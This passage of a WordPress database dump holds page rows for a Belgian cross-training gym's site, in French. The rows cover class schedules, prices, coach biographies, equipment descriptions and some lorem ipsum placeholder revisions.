hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-05-23 18:14:55', '2013-05-23 18:14:55', '', 11, 'http://www.crosstrainingcenter.be/?p=18', 0, 'revision', '', 0),
(359, 1, '2013-10-09 21:58:57', '2013-10-09 21:58:57', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&amp;nbsp;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;\r\nRIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nGLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;\r\nTRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;\r\nCARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&amp;nbsp;\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #F2F5A9;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline; background: #E6E6E6;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5A9;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline; background: #A9F5F2;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 6 mois illimité : 399.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-09 21:58:57', '2013-10-09 21:58:57', '', 11, 'http://www.crosstrainingcenter.be/11-revision-v1/', 0, 'revision', '', 0),
(19, 1, '2013-05-23 18:12:43', '2013-05-23 18:12:43', '&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;\r\n\r\n&lt;i&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit. Sed non risus. Suspendisse lectus tortor, dignissim sit amet, adipiscing nec, ultricies sed, dolor. Cras elementum ultrices diam. Maecenas ligula massa, varius a, semper congue, euismod non, mi. Proin porttitor, orci nec nonummy molestie, enim est eleifend mi, non fermentum diam nisl sit amet erat. Duis semper. Duis arcu massa, scelerisque vitae, consequat in, pretium a, enim. Pellentesque congue. Ut in risus volutpat libero pharetra tempor. Cras vestibulum bibendum augue. Praesent egestas leo in pede. Praesent blandit odio eu enim. Pellentesque sed dui ut augue blandit sodales. Vestibulum ante ipsum primis in faucibus orci luctus et ultrices posuere cubilia Curae; Aliquam nibh. Mauris ac mauris sed pede pellentesque fermentum. Maecenas adipiscing ante non diam sodales hendrerit.&lt;/i&gt; &lt;i&gt;Ut velit mauris, egestas sed, gravida nec, ornare ut, mi. Aenean ut orci vel massa suscipit pulvinar. Nulla sollicitudin. Fusce varius, ligula non tempus aliquam, nunc turpis ullamcorper nibh, in tempus sapien eros vitae ligula. Pellentesque rhoncus nunc et augue. Integer id felis. Curabitur aliquet pellentesque diam. Integer quis metus vitae elit lobortis egestas. Lorem ipsum dolor sit amet, consectetuer adipiscing elit. Morbi vel erat non mauris convallis vehicula. Nulla et sapien. Integer tortor tellus, aliquam faucibus, convallis id, congue eu, quam. Mauris ullamcorper felis vitae erat. Proin feugiat, augue non elementum posuere, metus purus iaculis lectus, et tristique ligula justo vitae magna.&lt;/i&gt; &lt;i&gt;Aliquam convallis sollicitudin purus. Praesent aliquam, enim at fermentum mollis, ligula massa adipiscing nisl, ac euismod nibh nisl eu lectus. Fusce vulputate sem at sapien. Vivamus leo. Aliquam euismod libero eu enim. Nulla nec felis sed leo placerat imperdiet. Aenean suscipit nulla in justo. Suspendisse cursus rutrum augue. Nulla tincidunt tincidunt mi. Curabitur iaculis, lorem vel rhoncus faucibus, felis magna fermentum augue, et ultricies lacus lorem varius purus. Curabitur eu amet.&lt;/i&gt;', 'Notre Philosophie', '', 'inherit', 'open', 'open', '', '5-revision-v1', '', '', '2013-05-23 18:12:43', '2013-05-23 18:12:43', '', 5, 'http://www.crosstrainingcenter.be/?p=19', 0, 'revision', '', 0),
(20, 1, '2013-05-24 14:33:49', '2013-05-24 14:33:49', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'L\'équipe', '', 'publish', 'closed', 'open', '', 'lequipe', '', '', '2015-04-21 09:46:39', '2015-04-21 09:46:39', '', 0, 'http://www.crosstrainingcenter.be/?page_id=20', 0, 'page', '', 0),
(479, 1, '2015-04-21 09:39:41', '2015-04-21 09:39:41', '&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-235 alignleft\&quot; alt=\&quot;julie_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/julie_pierrard-pti.jpg\&quot; width=\&quot;97\&quot; height=\&quot;127\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Julie Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Gérante\r\nCoach\r\nDiététicienne&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;Baccalauréat en diététique&lt;/li&gt;\r\n	&lt;li&gt;Spécialisation en diététique du sport&lt;/li&gt;\r\n	&lt;li&gt;Enseignante en éducation nutritionnelle&lt;/li&gt;\r\n	&lt;li&gt;Pratiquante de judo, natation et cyclisme&lt;/li&gt;\r\n        &lt;li&gt;Formation Personal Trainer (Parnasse)&lt;/li&gt;\r\n	&lt;li&gt;Formation Les mills Coach BodyBoxe&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px; width: 50%;\&quot;&gt;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%; height: 290px;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr style=\&quot;background-color: #ffffff;\&quot;&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;&lt;img class=\&quot; wp-image-233 alignleft\&quot; alt=\&quot;damien_pierrard-pti\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/07/damien_pierrard-pti.jpg\&quot; width=\&quot;108\&quot; height=\&quot;140\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 1px; padding: 5px;\&quot;&gt;\r\n&lt;h2&gt;Damien Pierrard&lt;/h2&gt;\r\n&lt;h5&gt;Fondateur Pierrard Sports\r\nFormateur coach\r\nCoach&lt;/h5&gt;\r\n&lt;ul&gt;\r\n	&lt;li&gt;LesMills Coach&lt;/li&gt;\r\n	&lt;li&gt;Licence en éducation physique&lt;/li&gt;\r\n	&lt;li&gt;Diplôme universitaire en préparation physique et entrainement des sportifs&lt;/li&gt;\r\n	&lt;li&gt;Maitre assistant à l’IES Parnasse-ISEI&lt;/li&gt;\r\n	&lt;li&gt;Préparateur physique&lt;/li&gt;\r\n	&lt;li&gt;Pratiquant de course à pied, natation et cyclisme&lt;/li&gt;\r\n&lt;/ul&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2015-04-21 09:39:41', '2015-04-21 09:39:41', '', 20, 'http://www.crosstrainingcenter.be/20-revision-v1/', 0, 'revision', '', 0),
(21, 1, '2013-05-24 14:33:45', '2013-05-24 14:33:45', '', 'L\'équipe', '', 'inherit', 'open', 'open', '', '20-revision-v1', '', '', '2013-05-24 14:33:45', '2013-05-24 14:33:45', '', 20, 'http://www.crosstrainingcenter.be/?p=21', 0, 'revision', '', 0),
(22, 1, '2013-05-24 14:34:07', '2013-05-24 14:34:07', '&lt;blockquote&gt;\r\n&lt;h2&gt;Le cross training est une méthode d\'entraînement moderne et ludique regroupant les meilleurs exercices issus de différentes disciplines.&lt;/h2&gt;\r\n&lt;/blockquote&gt;\r\nAfin de vous permettre d\'atteindre vos objectifs, nous avons choisi pour vous plusieurs outils innovants le TRX, le RIP Trainer, le Kettlebell, le ViPR ainsi qu’une multitude de petits matériels (bosu, swissball, plateau freeman, échelle de rythme, …).\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-68\&quot; alt=\&quot;trx1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/trx1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;TRX Suspension Training&lt;/h1&gt;\r\nConçu à l’origine pour des US Navy SEAL, comme outil d’entrainement, le TRX est utilisé de plus en plus dans les salles de fitness et par des équipes professionnelles pour compléter leurs entrainements. Accessible à tous, le TRX est un système moderne d’entrainement qui utilise le poids du corps pour travailler la force fonctionnelle pure, améliorer la flexibilité, l’équilibre et la stabilité du centre du corps.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-70\&quot; alt=\&quot;kb\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/kb.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;Kettlebell&lt;/h1&gt;\r\nOutil d’entrainement qui a ses origines en Russie. Le Kettlebell permet de cibler des zones musculaires inaccessibles avec les haltères et charges guidées traditionnelles. Il autorise une très grande diversité de mouvements tout en renforçant les muscles des poignets et des avant-bras. Cet outil accroît considérablement la coordination et l\'équilibre. Le travail à l\'aide de Kettlebells fournit une excellente combinaison entre puissance musculaire et stretching en permettant le travail de tous les groupes musculaires inaccessibles avec un entraînement traditionnel.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-72\&quot; alt=\&quot;vipr-f1\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/vipr-f1.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;ViPR&lt;/h1&gt;\r\nAcronyme pour Vitalité, Performance et Reconditionnement. Le ViPR a été créé à partir de la nécessité de faire évoluer les outils d\'entraînement, de favoriser les mouvements ciblés et de combiner l\'entraînement de force avec un entraînement fonctionnel. La combinaison de levage, de déplacement et de rotation rend cet outil d\'entraînement très efficace.
Pratiquement indestructible et incroyablement fonctionnel, il est conçu pour développer le corps dans son entièreté.&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/div&gt;\r\n&amp;nbsp;\r\n&lt;div class=\&quot;arrondi\&quot;&gt;\r\n&lt;table style=\&quot;border: 1px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;&lt;img class=\&quot;alignnone  wp-image-75\&quot; alt=\&quot;ript\&quot; src=\&quot;http://www.crosstrainingcenter.be/wp-content/uploads/2013/06/ript.jpg\&quot; width=\&quot;200\&quot; height=\&quot;200\&quot; /&gt;&lt;/td&gt;\r\n&lt;td style=\&quot;border: 0px; padding: 5px;\&quot;&gt;\r\n&lt;h1&gt;RIP Trainer&lt;/h1&gt;\r\nLe Rip Trainer est un des outils les plus efficaces pour les entrainements fonctionnels et pour le renforcement du centre du corps. Il 